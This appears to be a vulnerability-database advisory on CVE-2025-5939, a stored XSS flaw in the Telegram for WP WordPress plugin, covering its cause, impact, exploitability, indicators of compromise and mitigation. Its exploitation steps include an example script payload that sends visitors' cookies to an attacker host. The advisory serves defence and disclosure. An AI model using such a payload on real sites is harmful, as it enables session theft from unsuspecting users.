CVE-2025-5939
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-5939 is a Stored Cross-Site Scripting (XSS) vulnerability in the Telegram for WP plugin for WordPress, affecting all versions up to and including 1.6.1. The flaw stems from insufficient input sanitization and output escaping in admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts into pages. The vulnerability is limited in scope: it only affects WordPress multi-site installations or single-site installations where unfiltered_html has been disabled. It was published on June 13, 2025, with Wordfence credited as the assigner, and carries a CVSS v3.1 base score of 4.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize administrator-supplied input stored in plugin settings and does not escape this data on output, allowing malicious JavaScript to be persisted in the database and rendered in the browser of any user who visits an affected page. Exploitation requires an authenticated session with administrator-level privileges, and the attack surface is further constrained to environments where WordPress's unfiltered_html capability is disabled (common in multi-site networks). No public proof-of-concept code has been identified at this time (Wordfence).

Impact

Successful exploitation allows a malicious administrator to persistently inject JavaScript that executes in the browsers of other users visiting the affected pages, impacting both confidentiality (e.g., session token theft) and integrity (e.g., page content manipulation). Because the scope is changed (S:C in CVSS), the injected script can affect users beyond the attacker's own session context. Availability is not directly impacted, and the overall risk is moderated by the high privilege requirement and the constrained deployment conditions (multi-site or unfiltered_html-disabled environments) (Wordfence, Red Hat CVE).

Exploitability

No evidence of in-the-wild exploitation or weaponized exploit kits has been reported for CVE-2025-5939. The EPSS score is approximately 0.022% (0.000220), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The high privilege requirement (administrator-level authentication) and the restricted deployment conditions significantly limit the practical attack surface (Wordfence).

Exploitation steps

  1. Gain Administrator Access: Obtain or compromise an administrator-level account on a WordPress multi-site installation or a site with unfiltered_html disabled that has the Telegram for WP plugin (≤1.6.1) installed.
  2. Navigate to Plugin Settings: Log in to the WordPress admin dashboard and navigate to the Telegram for WP plugin settings page.
  3. Inject Malicious Payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable admin settings field that lacks proper sanitization.
  4. Save Settings: Submit/save the settings, causing the malicious script to be stored in the WordPress database.
  5. Trigger Execution: When any user (including other admins or subscribers) visits a page that renders the injected setting value, the script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Wordfence).

Indicators of compromise

  • Logs: WordPress admin audit logs showing unexpected changes to Telegram for WP plugin settings, particularly from accounts not typically managing plugin configuration.
  • Database: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) in the wp_options table entries associated with the Telegram for WP plugin.
  • Network: Outbound requests from user browsers to unknown external domains shortly after visiting pages that render plugin settings (indicative of data exfiltration via injected scripts).
  • File System: No file-system artifacts expected for this stored XSS; focus detection on database and log review.

Mitigation and workarounds

Users should update the Telegram for WP plugin to a version beyond 1.6.1 as soon as a patched release is made available by the plugin author (amir-mousavi). In the interim, administrators can mitigate risk by auditing and restricting which accounts hold administrator-level privileges on affected WordPress installations, and by reviewing current plugin settings for unexpected script content. Enabling unfiltered_html is not recommended as a workaround, as it introduces other risks; instead, consider temporarily deactivating the plugin on sensitive multi-site networks until a patch is confirmed (Wordfence, WordPress Plugin Page).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management